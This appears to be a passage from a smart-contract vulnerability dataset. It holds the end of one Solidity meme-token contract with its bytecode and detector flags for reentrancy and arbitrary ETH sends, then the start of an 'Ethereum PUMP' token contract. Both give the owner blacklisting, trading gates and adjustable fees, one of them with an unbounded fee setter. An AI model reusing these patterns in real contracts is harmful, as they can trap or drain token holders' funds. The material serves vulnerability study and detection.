require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
if(!_removeTxLimit){
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(!_removeTxLimit){
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
bots[bots_[i]] = true;
}
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=15||taxFeeOnSell<=15);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize > 5000000000 * 10**9 );
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
function setRemoveTxLimit(bool enable) external onlyOwner{
_removeTxLimit = enable;
}
}
|
0x6080604052600436106101db5760003560e01c806374010ece11610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610581578063dd62ed3e146105a1578063ea1644d5146105e7578063f2fde38b1461060757600080fd5b8063a2a957bb146104fc578063a9059cbb1461051c578063bfd792841461053c578063c3c8cd801461056c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104785780638f9a55c01461049857806395d89b41146104ae57806398a5c315146104dc57600080fd5b806374010ece146103f75780637d1db4a5146104175780637f2feddc1461042d5780638da5cb5b1461045a57600080fd5b80632fd689e31161017a5780636d8aa8f8116101495780636d8aa8f81461038d5780636fc3eaec146103ad57806370a08231146103c2578063715018a6146103e257600080fd5b80632fd689e31461031b578063313ce5671461033157806349bd5a5e1461034d5780636b9990531461036d57600080fd5b8063095ea7b3116101b6578063095ea7b31461026d5780631694505e1461029d57806318160ddd146102d557806323b872dd146102fb57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063093bb7201461024d57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a8f565b610627565b005b34801561021557600080fd5b5060408051808201909152600981526811dc99595b909d5b1b60ba1b60208201525b6040516102449190611b54565b60405180910390f35b34801561025957600080fd5b50610207610268366004611bb9565b61074d565b34801561027957600080fd5b5061028d610288366004611bd4565b610795565b6040519015158152602001610244565b3480156102a957600080fd5b506013546102bd906001600160a01b031681565b6040516001600160a01b039091168152602001610244565b3480156102e157600080fd5b50683635c9adc5dea000005b604051908152602001610244565b34801561030757600080fd5b5061028d610316366004611c00565b6107ac565b34801561032757600080fd5b506102ed60175481565b34801561033d57600080fd5b5060405160098152602001610244565b34801561035957600080fd5b506014546102bd906001600160a01b031681565b34801561037957600080fd5b50610207610388366004611c41565b610815565b34801561039957600080fd5b506102076103a8366004611bb9565b610860565b3480156103b957600080fd5b506102076108a8565b3480156103ce57600080fd5b506102ed6103dd366004611c41565b6108d5565b3480156103ee57600080fd5b506102076108f7565b34801561040357600080fd5b50610207610412366004611c5e565b61096b565b34801561042357600080fd5b506102ed60155481565b34801561043957600080fd5b506102ed610448366004611c41565b60116020526000908152604090205481565b34801561046657600080fd5b506000546001600160a01b03166102bd565b34801561048457600080fd5b50610207610493366004611bb9565b6109ae565b3480156104a457600080fd5b506102ed60165481565b3480156104ba57600080fd5b5060408051808201909152600581526411d095531360da1b6020820152610237565b3480156104e857600080fd5b506102076104f7366004611c5e565b610a0d565b34801561050857600080fd5b50610207610517366004611c77565b610a3c565b34801561052857600080fd5b5061028d610537366004611bd4565b610a94565b34801561054857600080fd5b5061028d610557366004611c41565b60106020526000908152604090205460ff1681565b34801561057857600080fd5b50610207610aa1565b34801561058d57600080fd5b5061020761059c366004611ca9565b610ad7565b3480156105ad57600080fd5b506102ed6105bc366004611d2d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105f357600080fd5b50610207610602366004611c5e565b610b78565b34801561061357600080fd5b50610207610622366004611c41565b610bbb565b6000546001600160a01b0316331461065a5760405162461bcd60e51b815260040161065190611d66565b60405180910390fd5b60005b81518110156107495760145482516001600160a01b039091169083908390811061068957610689611d9b565b60200260200101516001600160a01b0316141580156106da575060135482516001600160a01b03909116908390839081106106c6576106c6611d9b565b60200260200101516001600160a01b031614155b15610737576001601060008484815181106106f7576106f7611d9b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061074181611dc7565b91505061065d565b5050565b6000546001600160a01b031633146107775760405162461bcd60e51b815260040161065190611d66565b60148054911515600160b81b0260ff60b81b19909216919091179055565b60006107a2338484610ca5565b5060015b92915050565b60006107b9848484610dc9565b61080b843361080685604051806060016040528060288152602001611edf602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611327565b610ca5565b5060019392505050565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161065190611d66565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b815260040161065190611d66565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146108c857600080fd5b476108d281611361565b50565b6001600160a01b0381166000908152600260205260408120546107a69061139b565b6000546001600160a01b031633146109215760405162461bcd60e51b815260040161065190611d66565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109955760405162461bcd60e51b815260040161065190611d66565b674563918244f4000081116109a957600080fd5b601555565b6000546001600160a01b031633146109d85760405162461bcd60e51b815260040161065190611d66565b601454600160a01b900460ff16156109ef57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a375760405162461bcd60e51b815260040161065190611d66565b601755565b6000546001600160a01b03163314610a665760405162461bcd60e51b815260040161065190611d66565b600f82111580610a775750600f8111155b610a8057600080fd5b600893909355600a91909155600955600b55565b60006107a2338484610dc9565b6012546001600160a01b0316336001600160a01b031614610ac157600080fd5b6000610acc306108d5565b90506108d28161141f565b6000546001600160a01b03163314610b015760405162461bcd60e51b815260040161065190611d66565b60005b82811015610b72578160056000868685818110610b2357610b23611d9b565b9050602002016020810190610b389190611c41565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b6a81611dc7565b915050610b04565b50505050565b6000546001600160a01b03163314610ba25760405162461bcd60e51b815260040161065190611d66565b674563918244f400008111610bb657600080fd5b601655565b6000546001600160a01b03163314610be55760405162461bcd60e51b815260040161065190611d66565b6001600160a01b038116610c4a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610651565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d075760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610651565b6001600160a01b038216610d685760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610651565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e2d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610651565b6001600160a01b038216610e8f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610651565b60008111610ef15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610651565b6000546001600160a01b03848116911614801590610f1d57506000546001600160a01b03838116911614155b1561122057601454600160a01b900460ff16610fb6576000546001600160a01b03848116911614610fb65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610651565b601454600160b81b900460ff16611019576015548111156110195760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610651565b6001600160a01b03831660009081526010602052604090205460ff1615801561105b57506001600160a01b03821660009081526010602052604090205460ff16155b6110b35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610651565b6014546001600160a01b0383811691161461114957601454600160b81b900460ff1661114957601654816110e6846108d5565b6110f09190611de0565b106111495760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610651565b6000611154306108d5565b60175460155491925082101590821061116d5760155491505b8080156111845750601454600160a81b900460ff16155b801561119e57506014546001600160a01b03868116911614155b80156111b35750601454600160b01b900460ff165b80156111d857506001600160a01b03851660009081526005602052604090205460ff16155b80156111fd57506001600160a01b03841660009081526005602052604090205460ff16155b1561121d5761120b8261141f565b47801561121b5761121b47611361565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061126257506001600160a01b03831660009081526005602052604090205460ff165b8061129457506014546001600160a01b0385811691161480159061129457506014546001600160a01b03848116911614155b156112a15750600061131b565b6014546001600160a01b0385811691161480156112cc57506013546001600160a01b03848116911614155b156112de57600854600c55600954600d555b6014546001600160a01b03848116911614801561130957506013546001600160a01b03858116911614155b1561131b57600a54600c55600b54600d555b610b7284848484611599565b6000818484111561134b5760405162461bcd60e51b81526004016106519190611b54565b5060006113588486611df8565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610749573d6000803e3d6000fd5b60006006548211156114025760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610651565b600061140c6115c7565b905061141883826115ea565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061146757611467611d9b565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e49190611e0f565b816001815181106114f7576114f7611d9b565b6001600160a01b03928316602091820292909201015260135461151d9130911684610ca5565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611556908590600090869030904290600401611e2c565b600060405180830381600087803b15801561157057600080fd5b505af1158015611584573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115a6576115a661162c565b6115b184848461165a565b80610b7257610b72600e54600c55600f54600d55565b60008060006115d4611751565b90925090506115e382826115ea565b9250505090565b600061141883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611793565b600c5415801561163c5750600d54155b1561164357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061166c876117c1565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061169e908761181e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116cd9086611860565b6001600160a01b0389166000908152600260205260409020556116ef816118bf565b6116f98483611909565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161173e91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061176d82826115ea565b82101561178a57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117b45760405162461bcd60e51b81526004016106519190611b54565b5060006113588486611e9d565b60008060008060008060008060006117de8a600c54600d5461192d565b92509250925060006117ee6115c7565b905060008060006118018e878787611982565b919e509c509a509598509396509194505050505091939550919395565b600061141883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611327565b60008061186d8385611de0565b9050838110156114185760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610651565b60006118c96115c7565b905060006118d783836119d2565b306000908152600260205260409020549091506118f49082611860565b30600090815260026020526040902055505050565b600654611916908361181e565b6006556007546119269082611860565b6007555050565b6000808080611947606461194189896119d2565b906115ea565b9050600061195a60646119418a896119d2565b905060006119728261196c8b8661181e565b9061181e565b9992985090965090945050505050565b600080808061199188866119d2565b9050600061199f88876119d2565b905060006119ad88886119d2565b905060006119bf8261196c868661181e565b939b939a50919850919650505050505050565b6000826000036119e4575060006107a6565b60006119f08385611ebf565b9050826119fd8583611e9d565b146114185760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610651565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108d257600080fd5b8035611a8a81611a6a565b919050565b60006020808385031215611aa257600080fd5b823567ffffffffffffffff80821115611aba57600080fd5b818501915085601f830112611ace57600080fd5b813581811115611ae057611ae0611a54565b8060051b604051601f19603f83011681018181108582111715611b0557611b05611a54565b604052918252848201925083810185019188831115611b2357600080fd5b938501935b82851015611b4857611b3985611a7f565b84529385019392850192611b28565b98975050505050505050565b600060208083528351808285015260005b81811015611b8157858101830151858201604001528201611b65565b81811115611b93576000604083870101525b50601f01601f1916929092016040019392505050565b80358015158114611a8a57600080fd5b600060208284031215611bcb57600080fd5b61141882611ba9565b60008060408385031215611be757600080fd5b8235611bf281611a6a565b946020939093013593505050565b600080600060608486031215611c1557600080fd5b8335611c2081611a6a565b92506020840135611c3081611a6a565b929592945050506040919091013590565b600060208284031215611c5357600080fd5b813561141881611a6a565b600060208284031215611c7057600080fd5b5035919050565b60008060008060808587031215611c8d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cbe57600080fd5b833567ffffffffffffffff80821115611cd657600080fd5b818601915086601f830112611cea57600080fd5b813581811115611cf957600080fd5b8760208260051b8501011115611d0e57600080fd5b602092830195509350611d249186019050611ba9565b90509250925092565b60008060408385031215611d4057600080fd5b8235611d4b81611a6a565b91506020830135611d5b81611a6a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611dd957611dd9611db1565b5060010190565b60008219821115611df357611df3611db1565b500190565b600082821015611e0a57611e0a611db1565b500390565b600060208284031215611e2157600080fd5b815161141881611a6a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e7c5784516001600160a01b031683529383019391830191600101611e57565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611eba57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ed957611ed9611db1565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205dd9131543b39aff476209256e45430188fde14f57a9505c3a309e3725f5818164736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,160 |
0x26eEa8B05001cc341e96a4E1F306C8cF9E37a33b
|
/**
*Submitted for verification at Etherscan.io on 2021-06-02
*/
/*
Ethereum PUMP (ePUMP💪)
https://t.me/EthereumPumpToken
PUMP IT UP! It's Ethereum built for PUMPING DeFi. This token
brings energy, momentum, and firm handshakes to DeFi. The
strongest features of this protocol include:
- 1,000,000,000,000 Total Initial Supply
- 50% Burned
- Full pooling of tokens
- Buy limit/cool down (ON)/OFF
- Bot prevention (ON)/OFF
- 5% redistribution to holders (ON)/OFF
- Team Tokens ON/(OFF)
- Programmed to PUMP IT UP (ON)/OFF
###### # # # # ######
###### # # # # ## ## # #
# # # # # # # # # # #
##### ###### # # # # # ######
# # # # # # #
# # # # # # #
###### # ##### # # #
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ePUMP is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Ethereum PUMP";
string private constant _symbol = 'ePUMP💪';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function removeFees(uint256 amt) external onlyOwner() {
_teamFee = amt;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
